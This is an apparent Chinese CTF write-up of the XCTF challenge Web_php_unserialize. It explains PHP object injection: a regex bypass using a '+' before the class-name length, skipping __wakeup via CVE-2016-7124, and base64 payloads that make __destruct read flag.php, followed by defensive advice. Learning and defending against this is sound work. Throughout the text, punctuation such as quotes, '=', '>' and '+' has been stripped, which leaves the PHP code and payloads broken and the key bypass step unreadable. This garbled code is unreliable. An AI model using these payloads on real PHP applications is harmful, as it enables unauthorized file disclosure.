攻防世界 Web_php_unserialize 这道题可能是我刷过最典型的PHP反序列化入门题。平台上有不少新手在这卡住卡点无非是两个一是正则过滤去不掉二是__wakeup一直把文件路径改回去。今天从原理讲到 payload 构造把这道题彻底拆开。如果你是刚开始学 Web 安全或者正卡在这道题上这篇文章应该能帮你省下不少折腾时间。1. 题目背景与考点拆解1.1 这道题长什么样题目来自 XCTF 攻防世界 Web 方向名字就叫Web_php_unserialize。打开靶机之后页面通常会直接展示一段 PHP 源码。很多朋友第一次看到会有点懵因为源码信息量不算小但结合题目名字其实已经暗示了考察方向PHP 反序列化。题目核心源码大概是下面这个样子不同环境可能略有改动但关键逻辑跑不掉?php class Demo { private $file index.php; public function __construct($file) { $this-file $file; } function __destruct() { echo highlight_file($this-file, true); } function __wakeup() { if ($this-file ! index.php) { $this-file index.php; } } } if (isset($_GET[var])) { $var base64_decode($_GET[var]); if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else { unserialize($var); } } else { highlight_file(__FILE__); } ?先别急着去网上搜现成 payload。读懂源码你才能真正明白这道题的每一环在干嘛。这里有几个关键信息Demo类有一个私有属性$file默认值是index.php。__construct方法允许在创建对象时传入$file。__destruct方法在对象销毁时会执行highlight_file($this-file, true)并把内容echo出来。__wakeup方法在unserialize反序列化时执行如果$file不是index.php会强制把它改回去。入口参数是$_GET[var]先经过base64_decode再经过preg_match(/[oc]:\d:/i, $var)过滤最后传入unserialize。所以这道题的目标就很清晰了构造一个经过 base64 编码的序列化字符串让反序列化出来的Demo对象销毁时__destruct去读取flag.php。但摆在我们面前有两堵墙正则过滤和__wakeup重置。1.2 为什么反序列化漏洞能控制程序一句话解释反序列化漏洞程序把一个不可信的字符串还原成对象对象里的属性、触发的方法都不受控制结果就可能被攻击者牵着走。你可以把序列化理解成“把整个对象打包成一行字符串”反序列化就是“拆包还原”。正常情况下这套机制用于存储会话、缓存数据、跨页面传递对象都很方便。问题是如果用户能控制这个“包裹”的内容那还原出来的对象就可能不是开发者期望的那个对象了。PHP 对象里有几个特殊方法会在特定时机被自动调用。比如__construct在对象创建时调用__wakeup在反序列化时调用__destruct在对象销毁时调用。这些“魔术方法”本身不是漏洞但当它们和用户可控的输入结合时就可能成为利用点。这道题里最危险的就是__destruct方法中使用了highlight_file($this-file)。只要我们能改变$this-file的值对象销毁时就会帮我们读取指定的文件。那为什么还要绕过__wakeup呢因为反序列化一执行__wakeup会先把$this-file改成index.php这样__destruct读的就是正常页面了我们的攻击自然失效。所以说这题表面上考反序列化实际上考的是“如何绕过两道限制”正则和__wakeup。2. 序列化与反序列化核心原理2.1 PHP 序列化格式怎么读要构造 payload先得能读懂序列化字符串。看一个最简单的例子?php class Demo { private $file index.php; } $obj new Demo(flag.php); echo serialize($obj); ?输出大概是O:4:Demo:1:{s:10:\0Demo\0file;s:8:flag.php;}这串东西看着乱拆开一点都不复杂。先看头部O:4:DemoO表示这是一个对象Object。4表示类名Demo的长度。Demo就是类名。接着:1:{表示这个对象有 1 个属性。后面花括号里就是属性列表。属性是一个标准的 PHP 序列化 key-value 对s:10:\0Demo\0file;s:8:flag.php;这里s:10表示后面是一个长度为 10 的字符串字符串内容是\0Demo\0file。由于$file是private私有属性PHP 在序列化时会把它伪装成“类名 空字节 属性名 空字节”的格式也就是一个空字节\0类名Demo一个空字节\0属性名file长度就是1 4 1 4 10。这部分非常容易踩坑后面我会专门讲。值的部分同样简单s:8:flag.php表示长度为 8 的字符串flag.php。所以整个序列化字符串表达的意思就是一个Demo类的对象它的私有属性$file的值为flag.php。2.2 魔术方法何时触发PHP 的魔术方法有很多但反序列化漏洞里最常见的几个就够用了。我列了个速查表方法触发时机典型用途__construct创建对象时通过new触发初始化属性__destruct对象销毁时触发包括脚本结束清理资源也容易被滥用__wakeupunserialize()反序列化时触发重新初始化资源__toString对象被当作字符串使用时触发输出对象内容__get访问不可访问属性时触发动态处理属性这道题的关键是__wakeup和__destruct的先后顺序。当我们把构造好的字符串交给unserialize时PHP 会创建一个Demo对象。在对象创建后、属性填充前__wakeup方法会被自动调用。__wakeup里写了如果$this-file ! index.php就把它改成index.php。也就是说就算我们在序列化字符串里写了flag.php反序列化时也会被改掉。对象创建完成后继续执行脚本。当对象不再被引用或者脚本结束、对象被销毁时__destruct会被调用使用当前$this-file去读文件。如果__wakeup没被绕过那么$this-file已经被重置成index.php读到的就是正常页面。所以这道题真正的防线其实是__wakeup。我们要做的就是让__wakeup不执行。2.3 漏洞成因可控输入进入 unserialize现在再看整条链路漏洞成因已经很明显了用户通过 GET 参数传入数据。数据只做了 base64 解码和正则过滤没有做类型限制。数据被直接传给unserialize。程序对反序列化后的对象没有做任何安全校验。对象销毁时执行了危险操作highlight_file($this-file)。这类问题在真实业务中也存在。比如很多老项目会把对象序列化后存在 Cookie、Session 或数据库里读取时直接unserialize还原。如果这些数据可以被用户控制攻击者就能构造恶意对象触发危险方法。当然真实场景里可能没有这么直接的highlight_file更多是通过“魔术方法链”一步步调用危险函数这就是后面要说的 POP 链。但不管链多长起点往往是同样的不可控的输入进了unserialize。3. 实操解题全过程3.1 获取源码与环境判断进入靶机后先观察页面。题目给了源码是最好的情况如果没给源码也可以通过报错、注释、常见路径试探等方式获取。但Web_php_unserialize这里一般直接highlight_file(__FILE__)所以源码就在眼前。看到源码后先确认目标文件。根据题目描述flag.php通常就在当前目录下我们的目标就是让程序去读取它。顺便确认一下 PHP 版本。这道题能不能解和版本强相关。因为我们要用到的__wakeup绕过技巧是 CVE-2016-7124它影响一部分 PHP 5.x 和 7.x 版本。老版本存在这个绕过新版本已经修复了。题目环境既然这么出说明它用的是存在漏洞的版本。CVE-2016-7124 的核心是当反序列化字符串中声明的属性个数大于对象实际属性个数时__wakeup方法不会被调用。这个漏洞在 PHP 5.6.25 之前的 5.x 版本以及 PHP 7.0.10 之前的 7.x 版本中有效。所以我们的绕过思路就是把序列化字符串里的属性个数改大大到超过对象实际拥有的属性数量。3.2 生成序列化 payload 并改造手工写序列化字符串很容易出错我的习惯是先用本地 PHP 脚本生成原始 payload再在这个基础上改。本地先生成一个普通对象?php class Demo { private $file index.php; public function __construct($file) { $this-file $file; } } $obj new Demo(flag.php); $s serialize($obj); echo $s . \n; echo urlencode($s) . \n; ?跑一下输出大概是O:4:Demo:1:{s:10:\0Demo\0file;s:8:flag.php;} O%3A4%3A%22Demo%22%3A1%3A%7Bs%3A10%3A%22%00Demo%00file%22%3Bs%3A8%3A%22flag.php%22%3B%7D注意第二行里有很多%00这就是序列化字符串里的空字节。因为$file是private属性属性名会被 PHP 转成\0Demo\0file而这些空字节在屏幕上是看不见的直接复制会出错。所以我建议用urlencode输出查看真实内容。接下来做两步改造。第一步绕过正则过滤。源码里的正则是preg_match(/[oc]:\d:/i, $var)它匹配的是o:或c:后面跟一个或多个数字再跟冒号的形式。常规序列化字符串里的O:4:正好被匹配。而 PHP 反序列化器在解析时是接受O:4:这种带加号的格式的。也就是说把O:4改成O:4正则就匹配不到了但 PHP 仍然能正常反序列化。第二步绕过__wakeup。把属性个数从1改成2让反序列化器认为这个对象有 2 个属性超过实际属性数量从而跳过__wakeup。我们可以用脚本自动替换?php class Demo { private $file index.php; public function __construct($file) { $this-file $file; } } $obj new Demo(flag.php); $s serialize($obj); $s str_replace(O:4, O:4, $s); $s str_replace(:1:{, :2:{, $s); echo base64_encode($s); ?这样输出的字符串就已经是最终 payload 了。我们来验证一下转换结果O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}转成 base64 后就是我们要提交的内容。这里有个细节容易忽略字符串替换O:4改的是对象头部的O:4:Demo不会影响其他地方。替换:1:{改的是属性个数这串内容只会在对象属性列表前出现一次。但如果你的类名长度正好也是 1或者属性值里也出现了:1:{就可能误伤。在这个例子里是安全的不过平时做题时要多看两眼不要盲目套命令。3.3 base64 编码与 URL 传输拿到 base64 编码后的 payload直接拼到 URL 后面访问http://目标地址/?varbase64编码内容这一步也有不少坑。base64 编码结果里可能包含字符而在 URL 查询参数中会被解析成空格。如果出现在参数值里服务端拿到的 base64 字符串就变了base64_decode解出来的内容就不对反序列化自然失败。所以浏览器直接访问时要把手动编码成%2B。如果你用 Burp Suite 之类的工具修改请求也建议把整个var参数值做一次 URL 编码保证原封不动传输。更稳妥的做法是直接在脚本里生成完整的 URL 编码参数?php $payload O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}; echo urlencode(base64_encode($payload)); ?这样生成的字符串可以直接拼在?var后面。3.4 拿到 flag 与原理复盘提交请求后页面会输出一段 PHP 代码通常就是flag.php的内容。flag 一般藏在注释里或者直接以字符串形式出现在代码中。复盘一下完整利用链你传入var参数值是构造好的 base64 字符串。服务端base64_decode后得到O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}。preg_match因为O:4中的加号没有匹配到O:加数字的格式过滤绕过。unserialize解析对象时发现属性个数是 2大于对象实际属性个数 1触发 CVE-2016-7124跳过__wakeup。对象创建完成$file保持flag.php。脚本执行完毕或对象销毁__destruct调用highlight_file(flag.php, true)输出文件内容。flag 被回显。每一步环环相扣少了任何一环都拿不到结果。4. 常见问题与排查技巧实录4.1 为什么改成 O:4 后没有反应这是很多人遇到的第一道坎。先说结论O:4确实能绕过这个正则。如果你改了之后没有反应多半是 URL 传输时出了问题。比如你直接在浏览器地址栏粘贴 base64 字符串里面的被浏览器当成空格处理了。可以在请求工具里把改成%2B再把整个参数做一次 URL 编码试试。另外正则/[oc]:\d:/i是大小写不敏感的。O和o都会被匹配所以你别想着用o:4来绕一样能通过。核心是加号不区分大小写。调试小技巧在本地写一段代码把接收到的字符串打印出来看看base64_decode之后到底是什么。如果解码后不是完整的O:4:Demo:2:{...}格式那就说明传输环节被篡改了。4.2 属性个数改了还是不触发 __wakeup 绕过属性个数从1改成2理论上是满足条件的。如果还是不触发先检查你改的位置是不是改对了。序列化字符串中可能有多个数字。比如O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}对象头的:2:才是属性个数和属性块的分隔符。注意别把类名长度4或属性名长度10当成了属性个数。另外属性个数要大于实际属性个数但是也不建议改得太大比如改成一个天文数字。虽然有些环境仍然能跳过但也有可能出现解析异常。常规改成 2 或 3 就够了。有些新版本 PHP 已经修复了 CVE-2016-7124即使属性个数大于实际值__wakeup依然会正常执行。如果题目环境恰好是修复后的版本这条路就断了需要考虑其他绕过方式。但这道题既然叫Web_php_unserialize就是冲着这个漏洞出的所以默认环境是存在漏洞的。4.3 Private 属性序列化字符串里的空字节问题$file是private序列化后属性名会变成\0Demo\0file。在计算字符串长度时两个空字节也占长度所以是s:10。如果你为了省事把private改成public再生成 payload序列化结果会变成O:4:Demo:1:{s:4:file;s:8:flag.php;}这种格式虽然也能反序列化但问题在于原类里$file是private反序列化时 PHP 会把字符串里的属性名和类定义里的属性作用域做匹配。如果直接用public的格式写属性名是file和原类的private $file不一定能对应上。在很多版本里直接赋值会失败导致$file还是默认的index.php。所以最稳的办法还是保持原类的属性类型用生成脚本得到原始序列化字符串后再做替换。不要在序列化字符串里手动敲空字节很容易敲错。用 PHP 脚本里的\0转义最靠谱。4.4 本地调试环境与工具链搭建做反序列化题本地调试比直接盲打省心十倍。我一般会搭一个极简的 PHP 环境不需要装整包集成环境直接装个 PHP CLI 就够用了。在题目目录下写一个payload.php?php class Demo { private $file index.php; public function __construct($file) { $this-file $file; } function __destruct() { echo highlight_file($this-file, true); } function __wakeup() { if ($this-file ! index.php) { $this-file index.php; } } } $payload O:4:Demo:2:{s:10:\0Demo\0file;s:8:flag.php;}; var_dump(unserialize($payload)); ?当然这段代码里要写真实的空字节用单引号包\0是没有用的必须用双引号转义。更直观的方法是$payload O:4:\Demo\:2:{s:10:\\0Demo\0file\;s:8:\flag.php\;};跑一下观察是否打印出Demo对象且file属性是flag.php。如果能正常生成对象再放到 Web 环境里验证__destruct输出。工具方面Burp Suite 是 Web 题必备改包、重放、看响应都方便。浏览器插件 HackBar 也可以快速构造 GET 请求。但这些只是辅助真正核心的是你能理解 payload 的每一个字符。5. 从题目到实战反序列化漏洞的防御与扩展5.1 这不是个例更复杂的反序列化利用Web_php_unserialize只是一个入门的起点。真实场景里直接highlight_file的类很少但把用户可控的数据传进unserialize的情况却不少见。复杂一点的利用常被称为 POP 链。POP 链和栈溢出的 ROP 链有点像不依赖单一的危险方法而是通过一系列魔术方法和普通方法把可控属性一步步传递到危险函数。比如某个类的__toString里调用了call_user_func另一个类的__destruct里触发了字符串拼接你把两个类串起来就能从“对象销毁”一路到达“代码执行”。还有一些利用方向不在对象本身而是利用 PHP 的垃圾回收机制、引用计数、字符串处理特性去手动触发__destruct。比如序列化字符串中某个属性值使用引用指向同一个内容反序列化后的对象属性就会联动变化。这些技巧在高级题目里都很常见。另外还有一个方向是phar://反序列化。即使程序没有直接调用unserialize只要它用file_exists、is_dir、getimagesize等文件操作函数去处理一个用户可控的路径而路径指向一个构造好的phar文件也会触发反序列化。这个攻击面在真实业务里更隐蔽也更难防御。还有一个相关的方向是 Session 反序列化。PHP 的session.save_handler、session.serialize_handler配置不一致时会让攻击者有机会在 Session 数据里注入序列化内容进而构造反序列化攻击。这类问题和php.ini配置强相关做题时也经常遇到。5.2 防御手段与代码审计注意点反序列化漏洞的防御最根本的一条是不要反序列化不可信数据。具体落到开发里我通常会建议这几条用json_encode/json_decode替代serialize/unserialize传递数据时只保留纯数据不保留对象逻辑。如果必须用 PHP 反序列化且 PHP 版本支持给unserialize传第二个参数[allowed_classes false]或者用白名单限制允许反序列化的类。对所有魔术方法做严格校验特别是__wakeup、__destruct、__toString这类自动触发的方法不要在里面做敏感操作。输入数据进入unserialize之前要做格式白名单校验长度、字符集都要限制。及时升级 PHP 版本。很多反序列化绕过都依赖特定版本的老漏洞版本越新可利用面越小。代码审计时重点关注unserialize的所有调用点包括直接调用和间接触发比如phar://文件操作、Session 处理、缓存组件、消息队列消费端。任何一个不可控的入口都可能成为突破口。当然防御不只是写代码的事。给对象属性加访问控制、避免在魔术方法里使用$this可控属性直接拼进命令、对异常情况做日志记录这些都是良好的编码习惯。安全没有银弹但提前假设“输入不可信”永远是第一步。5.3 后续学习路线建议如果你做完这道题想继续深入 PHP 反序列化我建议按这个顺序往下学先完整过一遍 PHP 官方文档里的魔术方法列表记住每个方法的触发时机和典型场景。然后找几道典型的 POP 链题目练手比如利用__destruct、__toString、__call、__invoke等方法的组合来构造链。再学习 PHP 原生类在反序列化中的利用比如SimpleXMLElement、SoapClient、Error、Exception这些类它们在特定环境下能直接造成 SSRF、XXE 或文件读取。之后可以去了解phar://反序列化和 Session 反序列化把攻击面从“显式 unserialize”扩展到“隐式触发”。最后再回头看 PHP 源码层面的反序列化解析逻辑理解为什么O:4能被接受为什么属性个数大了会跳过__wakeup为什么引用类型可以互相影响。这些底层理解会让你以后遇到没见过的 payload 时自己能推出来而不是只会背答案。我个人在实际做题过程中的体会是反序列化题的难点从来不是“能不能看懂 payload”而是“拿到一个陌生类的时候能不能自己拼出利用链”。这需要大量的练习和对 PHP 底层行为的熟悉。Web_php_unserialize给了你一个非常干净的起点把它吃透后面再见到花里胡哨的 POP 链你至少不会慌。
